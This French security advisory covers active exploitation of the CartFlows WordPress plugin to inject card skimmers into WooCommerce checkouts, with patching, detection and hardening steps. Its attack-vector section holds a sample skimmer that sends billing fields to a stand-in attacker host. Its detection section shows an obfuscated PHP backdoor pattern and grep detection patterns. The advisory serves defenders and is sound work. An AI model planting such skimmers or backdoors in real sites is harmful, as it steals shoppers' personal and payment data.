Une vulnérabilité critique affectant le plugin WordPress Funnel Builder by CartFlows fait l’objet d’une exploitation active avec un objectif très concret : compromettre le tunnel de commande WooCommerce et injecter du JavaScript de skimming sur les pages de paiement. Le risque n’est pas théorique. Des attaquants s’appuient sur cette faille pour modifier le parcours d’achat, capter les données saisies par les clients et exfiltrer potentiellement des informations de carte bancaire, d’identité et de facturation. Pour un site e-commerce, l’impact est immédiat : fraude, perte de confiance, interruption d’activité, exposition réglementaire et risque de compromission durable si la remédiation se limite à une simple mise à jour.
Le cas est particulièrement sensible pour les boutiques WordPress reposant sur WooCommerce et sur le plugin CartFlows, historiquement très utilisé pour construire des tunnels de vente, pages d’upsell et checkouts optimisés. Selon le signalement relayé par The Hacker News, l’exploitation observée vise à injecter du code malveillant côté front-office afin d’intercepter les données au moment le plus critique du parcours client : la validation de commande. La source originale à retenir pour la faille reste l’avis de sécurité de l’éditeur du plugin, à recouper avec les analyses de l’écosystème WordPress et les publications de chercheurs ayant observé les campagnes actives.
À ce stade, le point important pour les équipes techniques n’est pas seulement de connaître l’existence de la faille, mais de traiter le sujet comme une possible compromission applicative déjà en cours. Une boutique vulnérable doit être considérée comme potentiellement altérée si le plugin a été exposé sans correctif. La séquence de réponse adaptée est donc double : corriger la version vulnérable, puis vérifier l’intégrité du checkout WooCommerce, des fichiers thème, des options WordPress, des contenus injectables et des comptes administrateurs. En l’absence d’un score CVSS officiellement consolidé dans toutes les publications relayées, le niveau de criticité opérationnelle doit être considéré comme maximal pour un contexte marchand, compte tenu de l’exploitation active et de la finalité de vol de données de paiement.
Les environnements mutualisés ou VPS fréquemment utilisés par les e-commerçants francophones, notamment chez o2switch, OVHcloud ou Scaleway, ne sont pas protégés par défaut contre ce type d’abus applicatif si le composant WordPress vulnérable reste accessible. Le CERT-FR n’a pas systématiquement vocation à publier sur chaque faille de plugin WordPress, mais ses recommandations générales sur la gestion des compromissions web restent pleinement applicables : isoler, qualifier, corriger, rechercher la persistance et renouveler les secrets exposés.
Versions affectées
Le composant concerné est le plugin WordPress Funnel Builder by CartFlows, utilisé avec WooCommerce pour construire des tunnels de conversion et des pages de commande personnalisées. Les publications de l’écosystème sécurité ont identifié une vulnérabilité critique corrigée par l’éditeur, avec exploitation active observée peu après sa divulgation.
Les versions à considérer comme vulnérables sont les versions de CartFlows antérieures au correctif publié par l’éditeur. Dans les alertes relayées publiquement, la version de remédiation à cibler est la première version corrigée diffusée sur le dépôt officiel WordPress et par l’éditeur. Il convient de vérifier précisément la branche utilisée en production, y compris sur les environnements de préproduction et sur les clones de boutique oubliés.
- Plugin affecté :
Funnel Builder by CartFlows/CartFlows - Versions vulnérables : toutes les versions antérieures à la version corrigée publiée par l’éditeur au moment de l’alerte
- Version corrigée : mettre à jour vers la dernière version disponible sur
wordpress.orgou via le canal officiel de l’éditeur - Composants exposés : pages de checkout WooCommerce, tunnels de vente, pages d’upsell/downsell, formulaires et flux liés au plugin
Le point de vigilance opérationnel est que les boutiques ne sont pas toutes administrées de façon homogène. Certaines utilisent :
- la version gratuite du plugin installée depuis le dépôt WordPress ;
- une version packagée dans une image ou un template d’hébergement ;
- un plugin premium ou un ensemble de modules complémentaires liés à l’écosystème CartFlows ;
- un thème enfant ou des snippets qui étendent les fonctionnalités du checkout et compliquent l’analyse post-incident.
Pour confirmer la version installée, plusieurs méthodes sont possibles :
- dans l’interface WordPress, via
Extensions; - en ligne de commande avec WP-CLI ;
- en inspectant les fichiers du plugin sur le serveur.
Exemples de vérification :
wp plugin list | grep -i cartflows grep -E "Version:" wp-content/plugins/cartflows/cartflows.php Si plusieurs nœuds applicatifs servent la boutique derrière un répartiteur de charge, il faut vérifier chaque instance. Une mise à jour partielle sur un seul nœud laisse une fenêtre d’exploitation et rend les symptômes incohérents. De même, un cache frontal ou un mécanisme de déploiement artisanal peut réintroduire une version vulnérable si le correctif n’est pas intégré à la source de vérité du déploiement.
Concernant l’identifiant CVE, il faut se référer à l’avis officiel de l’éditeur et aux bases de vulnérabilités mises à jour après publication. Les relais médiatiques peuvent mentionner la faille avant que toutes les métadonnées CVE et CVSS soient stabilisées dans les référentiels publics. Pour un suivi rigoureux côté RSSI, il est recommandé d’indexer l’incident par le nom du plugin, la date de publication de l’advisory et la version corrigée, puis de compléter la fiche dès que l’identifiant CVE est confirmé dans les bases NVD, WPScan ou chez l’éditeur.
Vecteur d'attaque
Le scénario d’attaque observé est celui d’une compromission applicative menant à un web skimming, parfois rapproché des campagnes de type Magecart. L’objectif n’est pas nécessairement de prendre le contrôle total du serveur dans un premier temps, mais de modifier le contenu servi aux visiteurs afin de récupérer des données sensibles au moment du paiement. Sur une boutique WooCommerce, cela vise typiquement :
- nom et prénom ;
- adresse e-mail ;
- adresse postale et téléphone ;
- données de commande ;
- informations de carte si elles transitent ou sont saisies dans un formulaire compromis ;
- jetons, identifiants de session ou métadonnées de paiement permettant d’enrichir une fraude.
Le mode opératoire suit souvent une chaîne en plusieurs étapes :
- exploitation de la faille dans le plugin vulnérable ;
- injection d’un script JavaScript dans une page de checkout, un fragment HTML, une option WordPress ou un fichier de thème ;
- chargement du script malveillant depuis un domaine externe ou exfiltration directe via
fetch(),XMLHttpRequestou une balisescriptdynamique ; - capture des champs sensibles au clic sur le bouton de validation, à l’événement
submitou à la saisie dans les champs ; - persistance discrète pour survivre à un simple nettoyage visuel de la page.
Exemple simplifié d’un mécanisme de skimming côté navigateur :
document.querySelector('form.checkout')?.addEventListener('submit', function () {
const payload = {
name: document.querySelector('#billing_first_name')?.value,
email: document.querySelector('#billing_email')?.value,
phone: document.querySelector('#billing_phone')?.value
};
navigator.sendBeacon('https://domaine-malveillant.example/collect', JSON.stringify(payload));
}); Dans des campagnes réelles, le code est plus discret : variables obfusquées, chaînes encodées en base64, déclenchement conditionné à l’URL du checkout, exfiltration via un nom de domaine ressemblant à un CDN ou à un outil analytique légitime. Les attaquants cherchent à se fondre dans le trafic normal et à limiter les artefacts visibles pour l’administrateur du site.
Sur WordPress, les points d’injection les plus courants après exploitation d’un plugin sont les suivants :
wp_optionsavec du code stocké dans des options de thème ou de plugin ;functions.phpdu thème actif ou du thème enfant ;- fichiers de plugin modifiés dans
wp-content/plugins/; - injections dans des contenus ou widgets capables d’insérer du HTML/JS ;
- création d’un compte administrateur de secours pour réinjecter le code après nettoyage ;
- tâches cron WordPress ou hooks servant à reposer la charge malveillante.
L’impact métier est majeur. Une boutique compromise au niveau du checkout n’est pas seulement exposée à une perte de données. Elle peut subir :
- des rétrofacturations et litiges carte bancaire ;
- une chute de conversion si les navigateurs ou solutions de paiement bloquent la page ;
- un référencement dégradé si des domaines malveillants sont détectés ;
- une obligation de notification selon la nature des données exposées ;
- une mise en cause contractuelle avec le PSP, l’hébergeur ou les partenaires.
Le cas est d’autant plus critique que de nombreuses boutiques s’appuient sur des scripts tiers légitimes sur la page de paiement : analytics, tag manager, anti-fraude, widgets marketing, chat, recommandation produit. Cette densité de JavaScript rend l’anomalie moins évidente à l’œil nu et complique la détection. Un attaquant peut aussi choisir de ne cibler que certains pays, certaines plages horaires ou certains navigateurs afin de réduire la probabilité d’être repéré par l’équipe e-commerce.
D’un point de vue défensif, il faut considérer ce type d’incident comme proche des campagnes historiques de skimming ayant touché Magento, PrestaShop et divers CMS e-commerce. La différence avec des vulnérabilités plus classiques de type défiguration est que le site peut sembler fonctionner normalement. La commande passe, le paiement est accepté, et seul le client compromis découvre plus tard une fraude. C’est précisément ce qui rend le risque business immédiat.
Impact
Sur le plan technique, l’impact direct est l’exécution de code non autorisé dans le contexte du checkout. Selon la façon dont la faille du plugin est exploitée, cela peut se traduire par une modification de contenu, une insertion de script ou une altération de logique métier. Le risque principal relayé dans les campagnes observées est le vol d’informations de paiement et de données personnelles associées à la commande.
Le périmètre de compromission peut toutefois être plus large :
- Vol de données clients : données de facturation, e-mails, téléphones, adresses, historique de commande.
- Compromission de comptes : si des identifiants ou jetons sont interceptés, l’attaquant peut viser l’espace client ou l’administration.
- Persistance : ajout de portes dérobées PHP dans
wp-content/uploads/, dans un faux plugin ou dans le thème. - Propagation : réutilisation des accès FTP, SSH, base de données ou panneau d’hébergement pour étendre la compromission.
- Atteinte à la conformité : exposition potentielle vis-à-vis du RGPD et des exigences de sécurité des traitements de paiement.
Pour les e-commerçants, le coût réel dépasse souvent le correctif logiciel. Il faut intégrer :
- l’investigation technique ;
- le nettoyage et la remise en ligne ;
- la rotation des secrets ;
- la communication client ;
- l’analyse avec le prestataire de paiement ;
- la surveillance renforcée sur plusieurs semaines.
Dans des environnements WordPress administrés par des intégrateurs ou agences, un autre risque apparaît : la mutualisation des pratiques. Un même compte administrateur, un même serveur de déploiement ou un même lot de plugins peut exposer plusieurs boutiques à la fois. Si une agence gère des dizaines de sites WooCommerce, il faut vérifier l’ensemble du parc, y compris les sites inactifs ou les clones de recette encore accessibles publiquement.
Comparativement à d’autres failles WordPress récentes, cette affaire rappelle un schéma désormais classique : une vulnérabilité dans un plugin très déployé est exploitée non pour du sabotage visible, mais pour monétiser discrètement le trafic marchand. On retrouve des similitudes avec les compromissions de checkout déjà observées sur Magento, OpenCart ou PrestaShop : code JavaScript externe, domaines jetables, exfiltration furtive, et maintien de l’expérience utilisateur pour ne pas casser le chiffre d’affaires de la victime trop tôt.
Comment patcher
La priorité est de mettre à jour immédiatement CartFlows vers la dernière version corrigée publiée par l’éditeur. La mise à jour seule ne suffit pas si le site a déjà été compromis, mais elle est indispensable pour fermer le vecteur initial.
Sur un site WordPress administré en ligne de commande avec WP-CLI :
wp plugin update cartflows Pour mettre à jour toutes les extensions, ce qui peut être utile en contexte de dette de maintenance, tout en restant prudent sur la compatibilité :
wp plugin update --all Pour vérifier ensuite la version installée :
wp plugin list | grep -i cartflows Si l’environnement ne permet pas WP-CLI, la mise à jour peut être réalisée depuis l’administration WordPress :
- ouvrir
Extensions; - localiser
CartFlows; - appliquer la mise à jour vers la dernière version disponible ;
- purger les caches WordPress, CDN et reverse proxy ;
- retester le tunnel de commande de bout en bout.
Sur des plateformes gérées ou des hébergements mutualisés comme o2switch ou OVHcloud, il est fréquent que des caches applicatifs ou des mécanismes de sécurité serveur retardent l’affichage du correctif. Il faut donc :
- vider le cache WordPress ;
- vider le cache CDN si présent ;
- redémarrer PHP-FPM sur VPS ou serveur dédié si nécessaire ;
- vérifier que le code déployé correspond bien à la version corrigée sur le disque.
Si le plugin est géré via Composer dans un projet industrialisé :
composer update --with-all-dependencies ou, si le package est explicitement référencé dans la pile de build :
composer require vendor/package:version_corrigee Le nom exact du package dépend de la façon dont WordPress et ses extensions sont intégrés dans le projet. Dans bien des boutiques WooCommerce, le plugin n’est pas géré par Composer mais directement installé dans wp-content/plugins/.
Après mise à jour, la séquence minimale de remédiation doit inclure :
- vérification de l’intégrité des fichiers du cœur WordPress ;
- comparaison des fichiers de thème et de plugin avec une source saine ;
- audit des comptes administrateurs ;
- rotation des mots de passe WordPress, base de données, FTP, SSH, panneau d’hébergement et clés API ;
- inspection des pages checkout et order-pay ;
- analyse des journaux web, PHP et WAF si disponibles.
Exemples utiles avec WP-CLI :
wp core verify-checksums wp user list --role=administrator wp option list --search=script La recherche d’injections dans les fichiers peut commencer par des motifs simples :
grep -RniE "base64_decode|eval\(|document\.createElement\('script'|fromCharCode|atob\(|sendBeacon|XMLHttpRequest|fetch\(" wp-content/ Cette commande produit des faux positifs, mais elle permet d’identifier rapidement des zones suspectes. Une investigation sérieuse doit comparer le code courant avec une sauvegarde saine ou le package officiel du plugin et du thème.
Si une compromission est confirmée, il faut envisager une restauration depuis une sauvegarde saine antérieure à l’exploitation, suivie de la réapplication des mises à jour et d’une rotation complète des secrets. Restaurer un backup vulnérable sans patch revient à rouvrir le vecteur d’attaque.
Détection
En présence d’une exploitation active orientée skimming, la détection doit porter à la fois sur les artefacts techniques et sur les symptômes métier. Une boutique peut continuer à vendre alors même que le checkout est compromis. Les indicateurs de compromission doivent donc être recherchés de manière ciblée.
Indicateurs côté front-end
- présence d’un
<script>inconnu sur les pages/checkout,/commande,/order-payou dans les tunnels CartFlows ; - chargement de ressources JavaScript depuis un domaine externe non référencé dans l’inventaire applicatif ;
- code obfusqué dans le HTML généré ou dans des fragments injectés ;
- requêtes réseau vers des domaines récemment créés ou à réputation faible ;
- modification du DOM au moment de la soumission du formulaire WooCommerce.
Contrôles rapides dans le navigateur :
- ouvrir les outils de développement sur la page de paiement ;
- inspecter l’onglet
Networkpour repérer des appels vers des domaines inattendus ; - rechercher dans les sources des chaînes comme
sendBeacon,fetch,btoa,atob,fromCharCode; - comparer la liste des scripts présents avec une version saine de la page.
Indicateurs côté WordPress
- nouveaux comptes administrateurs non autorisés ;
- options WordPress modifiées récemment ;
- fichiers PHP récents dans
wp-content/uploads/; - modifications inattendues de
functions.php,header.php,footer.php; - cron jobs WordPress inhabituels ;
- plugins désactivés puis réactivés sans justification de changement.
Exemples de contrôles :
find wp-content/ -type f -mtime -15 | sort wp cron event list wp db query "SELECT option_name FROM wp_options WHERE option_value LIKE '%script%' OR option_value LIKE '%iframe%' OR option_value LIKE '%base64%';" Indicateurs côté journaux et infrastructure
- pics de requêtes vers des endpoints du plugin vulnérable ;
- requêtes POST atypiques depuis des IP non habituelles vers l’administration ou des routes AJAX ;
- création de fichiers via l’utilisateur PHP dans des répertoires non prévus ;
- sorties HTTP vers des domaines inconnus si un proxy sortant ou un EDR serveur est en place ;
- alertes du WAF ou du CDN sur des patterns d’injection.
Sur un serveur Nginx ou Apache, il faut corréler les accès avec l’heure supposée d’injection. Les hébergeurs comme OVHcloud ou Scaleway peuvent fournir des journaux complémentaires selon le niveau de service. Sur mutualisé, la visibilité est plus limitée ; il faut alors s’appuyer davantage sur l’analyse applicative et les sauvegardes.
IoC à rechercher en priorité
Les IoC exacts varient selon la campagne, mais les familles suivantes sont récurrentes dans les affaires de skimming :
- domaines ressemblant à des CDN, outils analytics ou bibliothèques JS légitimes ;
- scripts chargés avec un paramètre de version aléatoire ;
- code JavaScript minifié et obfusqué ajouté dans le footer ;
- exfiltration via
POSTJSON ounavigator.sendBeacon(); - présence de chaînes encodées en base64 dans les options WordPress ;
- backdoors PHP courtes utilisant
assert,preg_replaceavec exécution,eval,gzinflate,str_rot13.
Exemple de motif suspect dans un fichier PHP :
<?php @eval(gzinflate(base64_decode('...'))); Exemple de motif suspect dans une page HTML :
<script src="https://cdn-assets-checkout[.]example/js/app.js?ver=17392"></script> Un domaine externe n’est pas forcément malveillant, mais tout script non inventorié sur le checkout doit être traité comme suspect jusqu’à preuve du contraire.
Mitigation
Si la mise à jour immédiate n’est pas possible, ce qui ne devrait rester qu’une situation transitoire très courte, plusieurs mesures de réduction du risque peuvent être appliquées. Elles ne remplacent pas le correctif.
- Désactiver temporairement le plugin
CartFlowssi le parcours de vente peut fonctionner sans lui ou si une bascule vers le checkout WooCommerce natif est possible. - Restreindre l’accès à l’administration par IP, VPN ou authentification forte, notamment sur
/wp-admin/et/wp-login.php. - Activer ou durcir un WAF applicatif pour bloquer des patterns d’exploitation connus et surveiller les routes sensibles.
- Réduire les scripts tiers sur le checkout afin de simplifier la détection d’anomalies et de limiter la surface de skimming.
- Mettre en place une Content Security Policy restrictive sur les pages de paiement.
- Surveiller l’intégrité des fichiers et options WordPress avec un outil de contrôle de changement.
Exemple de politique CSP à adapter avec précaution pour le checkout :
Content-Security-Policy: default-src 'self'; script-src 'self' https://www.googletagmanager.com https://www.google-analytics.com https://js.stripe.com; connect-src 'self' https://api.stripe.com; frame-src https://js.stripe.com; img-src 'self' data: https:; style-src 'self' 'unsafe-inline' https:; Une CSP bien conçue peut empêcher ou au moins révéler le chargement d’un script externe non autorisé. En pratique, beaucoup de boutiques WooCommerce ont une dette importante sur les scripts tiers, ce qui impose une phase d’inventaire et de test avant déploiement strict.
Autres mesures utiles :
- désactiver l’édition de fichiers depuis l’interface WordPress avec
DISALLOW_FILE_EDIT; - limiter les permissions d’écriture du compte PHP ;
- interdire l’exécution de PHP dans
wp-content/uploads/; - activer l’authentification multifacteur pour les comptes administrateurs ;
- segmenter les accès entre agence, exploitant et prestataires marketing.
Exemple de durcissement WordPress dans wp-config.php :
define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MODS', false); Exemple Nginx pour bloquer l’exécution de PHP dans les uploads :
location ~* ^/wp-content/uploads/.*\.php$ {
deny all;
} Pour les boutiques ayant déjà subi une compromission, la mitigation doit inclure une réponse post-incident complète :
- rotation des clés API des passerelles de paiement ;
- révocation des sessions administrateur ;
- réinitialisation des mots de passe ;
- contrôle des webhooks et des intégrations tierces ;
- échange avec le PSP pour évaluer l’exposition des flux de paiement ;
- surveillance renforcée des transactions et des retours clients.
Il est également judicieux de vérifier si les pages de paiement embarquent un formulaire carte hébergé directement par le PSP ou si des données transitent dans le DOM de la page. Plus les champs sensibles sont délégués à un composant isolé du prestataire de paiement, plus le risque de skimming direct peut être réduit, sans pour autant disparaître totalement si l’attaquant altère l’interface ou les scripts autour du composant.
Ce point rejoint une problématique plus large de sécurité applicative e-commerce : la page de checkout doit être traitée comme une zone à haute sensibilité, avec une discipline d’inventaire des scripts, de contrôle de changement et de journalisation supérieure au reste du site. Les bonnes pratiques de durcissement WordPress et de surveillance du front-office méritent d’être industrialisées, en particulier chez les intégrateurs qui maintiennent plusieurs boutiques. Des ressources complémentaires utiles existent dans la catégorie /categorie/pratiques pour structurer cette hygiène de sécurité.
La source médiatique ayant largement relayé l’alerte est The Hacker News, mais la référence à privilégier pour l’action opérationnelle reste l’avis officiel de l’éditeur du plugin et les mises à jour publiées sur le dépôt WordPress. Pour les équipes en charge de boutiques WooCommerce, la bonne approche est simple : mettre à jour immédiatement, considérer toute exposition passée comme potentiellement compromise, auditer le checkout en profondeur et documenter la réponse à incident. Sur un site marchand, une faille exploitée pour skimmer le paiement ne se traite pas comme une mise à jour de routine, mais comme un incident de sécurité avec impact direct sur le chiffre d’affaires, la confiance client et la conformité. Pour renforcer durablement le hardening WordPress après remédiation, un passage par les recommandations de /categorie/pratiques est particulièrement pertinent.